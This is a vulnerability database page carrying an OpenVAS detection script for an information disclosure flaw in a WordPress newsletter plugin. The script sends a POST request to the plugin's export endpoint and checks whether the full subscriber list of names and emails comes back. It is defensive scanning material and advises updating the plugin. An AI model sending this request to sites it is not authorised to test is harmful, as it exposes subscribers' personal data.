Lucene search
+L

WordPress Plugin EmailSubscribers And Newsletters Information Disclosure Vulnerability

🗓️ 25 Jan 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

WordPress Plugin EmailSubscribers And Newsletters Information Disclosure Vulnerability. Improper access restriction allows user to download entire subscriber list with names and e-mail addresses. Successful exploitation allows remote attackers to gain access to sensitive information. Affected version: 3.4.7. Update to version 3.4.8 or later

Refs
Code
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.812672");
  script_version("2023-07-20T05:05:18+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:18 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2018-01-25 10:24:30 +0530 (Thu, 25 Jan 2018)");
  script_name("WordPress Plugin EmailSubscribers And Newsletters Information Disclosure Vulnerability");

  script_tag(name:"summary", value:"wordpress EmailSubscribers And Newsletters plugin is prone to an information disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read sensitive information or not.");

  script_tag(name:"insight", value:"The flaw exists due to improper access
  restriction allowing user to download the entire subscriber list with names
  and e-mail addresses.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to gain access to potentially sensitive information.");

  script_tag(name:"affected", value:"WordPress Plugin Email Subscribers and
  Newsletters version 3.4.7");

  script_tag(name:"solution", value:"Update to WordPress Plugin Email Subscribers
  and Newsletters version 3.4.8 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"exploit");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/43872");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://wordpress.org/plugins/email-subscribers");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

postData = "option=view_all_subscribers";
url = dir + "/?es=export";

req = http_post_put_req(port:port, url:url, data:postData, add_headers:make_array("Content-Type", "application/x-www-form-urlencoded"));
res = http_keepalive_send_recv(port:port, data:req);

if(res =~ "^HTTP/1\.[01] 200" && res =~ "email-subscribers.*csv" &&
   res =~ "Email.Name.Status.Created.EmailGroup" && res =~ '"[a-z0-9]+@[a-z]+.com"."[A-Za-z0-9]+".') {
  report = http_report_vuln_url(port:port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation